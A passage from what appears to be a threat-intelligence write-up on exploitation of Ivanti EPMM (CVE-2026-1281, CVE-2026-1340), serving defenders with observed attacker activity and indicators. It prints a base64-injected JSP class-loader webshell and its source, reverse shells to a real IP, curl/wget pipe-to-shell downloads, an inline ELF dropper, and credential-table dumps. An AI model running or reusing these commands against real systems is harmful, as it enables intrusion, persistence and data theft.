&lt;span class=&quot;k&quot;&gt;then &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;1&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; 
PCUhIGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlciB7IFUoQ2xhc3NMb2FkZXIgYykgeyBzdXBlcihjKTsgfSBwdWJsaWM
gQ2xhc3MgZyhieXRlW10gYikgeyByZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoYiwgMCwgYi5sZW5ndGgpOyB9fSBwdWJsaW
MgYnl0ZVtdIHAoU3RyaW5nIG8pIHRocm93cyBFeGNlcHRpb24geyB0cnkgeyBDbGFzcyBqID0gQ2xhc3MuZm9yTmFtZSgic
3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOyByZXR1cm4gKGJ5dGVbXSkgai5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsIFN0
cmluZy5jbGFzcykuaW52b2tlKGoubmV3SW5zdGFuY2UoKSwgbyk7IH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7IENsYXNzIGo
gPSBDbGFzcy5mb3JOYW1lKCJqYXZhLnV0aWwuQmFzZTY0Iik7IE9iamVjdCB0ID0gai5nZXRNZXRob2QoImdldERlY29kZX
IiKS5pbnZva2UobnVsbCk7IHJldHVybiAoYnl0ZVtdKSB0LmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBTdHJpb
mcuY2xhc3MpLmludm9rZSh0LCBvKTsgfX0gJT48JSAgU3RyaW5nIGwgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiayIpOyBp
ZiAobCAhPSBudWxsKSB7IG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKHAobCkpLm5ld0luc3R
&lt;span class=&quot;nv&quot;&gt;hbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTsgfSAlPgo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;base64&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; /mi/tomcat/webapps/mifs/403.jsp &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 
&lt;span class=&quot;nb&quot;&gt;chmod&lt;/span&gt; +s /usr/bin/env&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;/f099583e-9702-4812-b5b5-221d3f3ce33e.ipa
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;
This logic indicates:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The attacker checks whether a specific Java in-memory loader pattern is already present (class U extends ClassLoader)&lt;/li&gt;
  &lt;li&gt;If not present, the attacker appends Base64-decoded content into 403.jsp&lt;/li&gt;
  &lt;li&gt;The attacker then attempts to change permissions (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod +s /usr/bin/env&lt;/code&gt;) as a potential privilege-related action&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Webshell &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;403.jsp&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;U&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ClassLoader&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;no&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ClassLoader&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;super&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;super&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;defineClass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;forName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;sun.misc.BASE64Decoder&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[])&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getMethod&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;decodeBuffer&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;invoke&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;newInstance&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;forName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;java.util.Base64&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getMethod&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;getDecoder&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;invoke&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[])&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getMethod&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;decode&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;invoke&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getParameter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;k&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getClassLoader&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;newInstance&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;equals&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pageContext&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;
The observed backdoors correspond to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;403.jsp&lt;/code&gt; described by &lt;a href=&quot;https://defusedcyber.com/ivanti-epmm-sleeper-shells-403jsp&quot;&gt;Defused&lt;/a&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;401.jsp&lt;/code&gt; described by &lt;a href=&quot;https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/&quot;&gt;Palo Alto&lt;/a&gt;.&lt;/p&gt;

&lt;h4 id=&quot;3-reverse-shell-and-interactive-access-attempts&quot;&gt;3. Reverse Shell and Interactive Access Attempts&lt;/h4&gt;

&lt;p&gt;Multiple reverse shell payloads were delivered through command injection. Observed techniques included:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ip&amp;gt;/443 0&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/bin/sh -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ip&amp;gt;/443 0&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Python-based reverse shell using socket connections
    &lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RHOST&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;86.106.143[.]200&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RPORT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;443&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;python3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;import sys,socket,os,pty;
s=socket.socket();s.connect((os.getenv(&quot;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RHOST&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;),int(os.getenv(&quot;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RPORT&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;))));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nc&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncat&lt;/code&gt; interactive shell attempts&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;4-payload-retrieval-and-tool-deployment&quot;&gt;4. Payload Retrieval and Tool Deployment&lt;/h4&gt;

&lt;p&gt;We identified chained command execution used to download and execute remote scripts, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl -fsSL http://45.76.28[.]252:8083/update.sh | sh&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget http://45.76.28[.]252:8083/update.sh -O - | sh&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Additionally, we observed telnet-over-curl execution patterns:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl -Ns telnet://217.148.142[.]48:443 | sh&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These command chains are indicative of second-stage payload deployment and remote command execution frameworks.&lt;/p&gt;

&lt;p&gt;In one instance, Logs show an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo&lt;/code&gt; command used to write/drop the Base64-decoded ELF binary malware payload with hash: 
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2e29ad27b64874bfcb0c926fa324465243844ca8d36ab2db9ab79cf4d787b513&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAA
AAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAA
A+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIh
cB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgABu9mUjjBRSInmahBaaipYDwV
ZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FS
IXAeO3/5g&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;base64&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--decode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; sysd &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chmod&lt;/span&gt; +x sysd &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; ./sysd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
That echo write event was observed across the message log, HTTP request log and access log.
Short analysis of this compact malware shows file read/write + dropped files and outbound contact to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;217.148.142[.]48&lt;/code&gt;, aligning with post-dropper / C2-style behavior.&lt;/p&gt;

&lt;h4 id=&quot;5-database-access-and-data-collection-attempts&quot;&gt;5. Database Access and Data Collection Attempts&lt;/h4&gt;

&lt;p&gt;Explicit database export commands targeting Ivanti-related tables were identified:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mysqldump &lt;span class=&quot;nt&quot;&gt;--databases&lt;/span&gt; mifs &lt;span class=&quot;nt&quot;&gt;--tables&lt;/span&gt; mi_user mifs_ldap_users mifs_ldap_server_config mi_device 
mi_app_setting_entry eas_proxy mi_password_history &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /var/www/ext/html/tmp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The targeted tables include user accounts, LDAP configurations, device information, application settings, proxy configuration, and password history. This suggests potential credential harvesting or configuration exfiltration objectives.&lt;/p&gt;

&lt;p&gt;Archiving activity was also identified:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;tar&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-czvf&lt;/span&gt; /var/www/ext/html/tmpno /mi/files/system
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This behavior is consistent with staging system data for potential exfiltration.&lt;/p&gt;

&lt;h4 id=&quot;6-webroot-write-validation-and-staging&quot;&gt;6. Webroot Write Validation and Staging&lt;/h4&gt;

&lt;p&gt;Multiple write tests targeting static asset directories were identified, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo ok1 &amp;gt; /mi/.../webapps/mifs/css/app.css&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(id; hostname) &amp;gt; /mi/.../css/bootstrap/1o465S.css&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo &quot;.float-left&quot; &amp;gt; /mi/.../webapps/mifs/css/login.css&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Temporary files were created and subsequently removed:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;touch /tmp/test files&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rm .1&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rm staged CSS files&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This pattern indicates validation of write capability followed by cleanup to reduce forensic footprint.&lt;/p&gt;

&lt;h4 id=&quot;7-observed-activity-patterns&quot;&gt;7. Observed Activity Patterns&lt;/h4&gt;

&lt;p&gt;Across the analyzed environments, we observed recurring activity patterns that align with publicly documented exploitation techniques for CVE-2026-1281 and CVE-2026-1340.
The activities can be grouped into the following behavioral categories:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Remote Code Execution Validation&lt;/li&gt;
  &lt;li&gt;Webroot Write Validation&lt;/li&gt;
  &lt;li&gt;Webshell deployment attempts (401.jsp / 403.jsp).&lt;/li&gt;
  &lt;li&gt;Reverse shell establishment attempts over TCP/443.&lt;/li&gt;
  &lt;li&gt;Retrieval and execution of secondary payloads via curl/wget.&lt;/li&gt;
  &lt;li&gt;Database export attempts and potential data staging.&lt;/li&gt;
  &lt;li&gt;Cleanup commands and anti-forensic behavior.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;what-others-report&quot;&gt;What others report&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Palo Alto: Critical Vulnerabilities in Ivanti EPMM Exploited&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Researchers from Palo Alto &lt;a href=&quot;https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/&quot;&gt;reported&lt;/a&gt; that exploitation of CVE-2026-1281 and CVE-2026-1340 has been observed across various sectors in the United States, Germany, Australia, and Canada, including state and local government, healthcare, manufacturing, professional and legal services, and high technology. Threat actors are rapidly moving from initial reconnaissance to deploying dormant backdoors to maintain long-term access even after organizations apply patches, indicating a sophisticated and persistent threat.&lt;/p&gt;

&lt;p&gt;Specifically, Palo Alto Unit 42 has observed widespread and mostly automated exploitation attempts, including establishing reverse shells, installing web shells, conducting reconnaissance, and downloading malware. Attackers have been observed downloading a Nezha monitoring agent, an open-source server monitoring utility, with specific parameters to fetch from Gitee if the victim’s location is China. Reconnaissance attempts involve injecting “sleep” commands to determine server vulnerability, with a 5-second delay indicating successful RCE. Threat actors attempt to install lightweight JSP web shells (e.g., 401.jsp, 403.jsp, 1.jsp), which can grant administrative control if the web server runs as root.&lt;/p&gt;

&lt;p&gt;Observed exploitation attempts include downloading a second-stage payload (the /slt script) to install web shells, cryptominers, or persistent backdoors. Indicators of Compromise (IOCs) include various IP addresses, subdomains (e.g., gobygo[.]net, introo[.]sh, ngrok-free[.]app), and specific file paths for web shells (e.g., /mi/tomcat/webapps/mifs/401.jsp).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Defused: Sleeper Shells: How Attackers Are Planting Dormant Backdoors in Ivanti EPMM&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A &lt;a href=&quot;https://defusedcyber.com/ivanti-epmm-sleeper-shells-403jsp&quot;&gt;blog post&lt;/a&gt; published by Defused also mentioned the deployment of web shell under the path /mifs/403.jsp. In this case, the payload contained Base64-encoded Java bytecode and worked as an in-memory class loader. To trigger the backdoor function, a specific HTTP header k0f53cf964d387 needs to be passed with the request, which will lead to the decoding and in-memory execution of the malicious payload.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Watchtowr: Someone Knows Bash Far Too Well, And We Love It (Ivanti EPMM Pre-Auth RCEs CVE-2026-1281 &amp;amp; CVE-2026-1340)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Watchtowr &lt;a href=&quot;https://labs.watchtowr.com/someone-knows-bash-far-too-well-and-we-love-it-ivanti-epmm-pre-auth-rces-cve-2026-1281-cve-2026-1340/&quot;&gt;published&lt;/a&gt; a technical deep-dive into the two vulnerabilities, which stem from improper handling of attacker-controlled input within Bash scripts used by Ivanti EPMM, specifically through arithmetic expansion in the map-appstore-url script. The temporary RPM patches modify Apache HTTPd configurations to replace vulnerable Bash scripts with newly compiled Java classes, specifically AFTUrlMapper.java and AppStoreUrlMapper.java.&lt;/p&gt;

&lt;p&gt;The vulnerable Bash scripts, map-appstore-url and map-aft-store-url, were previously invoked by Apache RewriteMap instances. The map-appstore-url script processes parameters from the URL path, including kid, st, et, and h, which are then used in Bash arithmetic expansions. The specific exploitation vector involves injecting a command substitution into the h parameter, which is subsequently referenced by gStartTime during an arithmetic expansion, leading to command execution. The st parameter in the exploit payload requires two padding spaces to bypass a string length validation check.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ivanti EPMM: Aktive Angriffe über Zero-Day Schwachstellen beobachtet&lt;/strong&gt;&lt;/p&gt;

